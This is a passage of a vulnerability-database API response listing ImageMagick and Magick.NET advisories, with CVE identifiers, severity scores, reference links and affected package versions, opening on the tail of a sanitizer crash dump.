DestroyImage\nShadow bytes around the buggy address:\n0x0a4e80007450: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n0x0a4e80007460: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n0x0a4e80007470: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n0x0a4e80007480: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n0x0a4e80007490: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=>0x0a4e800074a0: fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd fd\n0x0a4e800074b0: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa\n0x0a4e800074c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n0x0a4e800074d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n0x0a4e800074e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n0x0a4e800074f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n```", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28688.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28688.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-28688", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00047", "scoring_system": "epss", "scoring_elements": "0.15199", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-28688" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28688", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28688" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445877", "reference_id": "2445877", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445877" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28688", "reference_id": "CVE-2026-28688", "reference_type": "", "scores": [ { "value": "4.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28688" }, { "reference_url": "https://github.com/advisories/GHSA-xxw5-m53x-j38c", "reference_id": "GHSA-xxw5-m53x-j38c", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-xxw5-m53x-j38c" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-xxw5-m53x-j38c", "reference_id": "GHSA-xxw5-m53x-j38c", "reference_type": "", "scores": [ { "value": "4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "4.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-10T16:02:13Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-xxw5-m53x-j38c" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74575?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.4", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.4" } ], "aliases": [ "CVE-2026-28688", "GHSA-xxw5-m53x-j38c" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-m8u5-3zy6-zyh8" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50894?format=api", "vulnerability_id": "VCID-majy-bytw-9bew", "summary": "ImageMagick: MSL - Stack overflow in ProcessMSLScript\nMagick fails to check for circular references between two MSLs, leading to a stack overflow.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25971.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25971.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25971", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00045", "scoring_system": "epss", "scoring_elements": "0.14162", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25971" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25971", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25971" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442117", "reference_id": "2442117", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442117" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25971", "reference_id": "CVE-2026-25971", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25971" }, { "reference_url": "https://github.com/advisories/GHSA-8mpr-6xr2-chhc", "reference_id": "GHSA-8mpr-6xr2-chhc", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-8mpr-6xr2-chhc" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8mpr-6xr2-chhc", "reference_id": "GHSA-8mpr-6xr2-chhc", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8mpr-6xr2-chhc" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-25971", "GHSA-8mpr-6xr2-chhc" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-majy-bytw-9bew" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50366?format=api", "vulnerability_id": "VCID-mjy1-gkm8-2ugw", "summary": "ImageMagick: Memory leak in coders/txt.c without freetype\nIf a `texture` attribute is specified for a TXT file, an attempt will be made to read it via `texture=ReadImage(read_info,exception);`. Later, when retrieving metrics via the `GetTypeMetrics` function, if this function fails (i.e., `status == MagickFalse`), the calling function will exit immediately but fail to release the texture object, leading to memory leakage.", "references": [ { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/e6394098af39a9689bb5f0b4eb6a9968e449a8d3", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/e6394098af39a9689bb5f0b4eb6a9968e449a8d3" }, { "reference_url": "https://github.com/advisories/GHSA-3q5f-gmjc-38r8", "reference_id": "GHSA-3q5f-gmjc-38r8", "reference_type": "", "scores": [ { "value": "LOW", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-3q5f-gmjc-38r8" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-3q5f-gmjc-38r8", "reference_id": "GHSA-3q5f-gmjc-38r8", "reference_type": "", "scores": [ { "value": "0.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N" }, { "value": "LOW", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-3q5f-gmjc-38r8" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "GHSA-3q5f-gmjc-38r8" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-mjy1-gkm8-2ugw" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/62839?format=api", "vulnerability_id": "VCID-mqpc-y7da-9uh9", "summary": "ImageMagick: Magick.NET: ImageMagick: Denial of Service via crafted image leading to out-of-bounds write", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-40169.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-40169.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-40169", "reference_id": "", "reference_type": "", "scores": [ { "value": "5e-05", "scoring_system": "epss", "scoring_elements": "0.0029", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-40169" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.12.0", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-14T15:52:23Z/" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.12.0" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/f86452a8aea37bf2b4bd36127f836dcc5f138b38", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-14T15:52:23Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/f86452a8aea37bf2b4bd36127f836dcc5f138b38" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/releases/tag/7.1.2-19", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-14T15:52:23Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/releases/tag/7.1.2-19" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-5592-p365-24xh", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-14T15:52:23Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-5592-p365-24xh" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40169", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40169" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2458042", "reference_id": "2458042", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2458042" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/109850?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.12.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.12.0" } ], "aliases": [ "CVE-2026-40169", "GHSA-5592-p365-24xh" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-mqpc-y7da-9uh9" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50321?format=api", "vulnerability_id": "VCID-ndur-uewc-aucm", "summary": "ImageMagick: Code Injection via PostScript header in ps coders\nThe ps encoders, responsible for writing PostScript files, fails to sanitize the input before writing it into the PostScript header. An attacker can provide a malicious file and inject arbitrary PostScript code. When the resulting file is processed by a printer or a viewer (like Ghostscript), the injected code is interpreted and executed.\n\nThe html encoder does not properly escape strings that are written to in the html document. An attacker can provide a malicious file and injection arbitrary html code.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25797.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.7", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25797.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25797", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.0001", "scoring_system": "epss", "scoring_elements": "0.01131", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25797" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25797", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25797" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/26088a83d71e9daa203d54a56fe3c31f3f85463d", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/26088a83d71e9daa203d54a56fe3c31f3f85463d" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442106", "reference_id": "2442106", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442106" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25797", "reference_id": "CVE-2026-25797", "reference_type": "", "scores": [ { "value": "5.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25797" }, { "reference_url": "https://github.com/advisories/GHSA-rw6c-xp26-225v", "reference_id": "GHSA-rw6c-xp26-225v", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-rw6c-xp26-225v" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-rw6c-xp26-225v", "reference_id": "GHSA-rw6c-xp26-225v", "reference_type": "", "scores": [ { "value": "5.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-02-26T15:13:11Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-rw6c-xp26-225v" }, { "reference_url": "https://usn.ubuntu.com/8263-1/", "reference_id": "USN-8263-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8263-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { 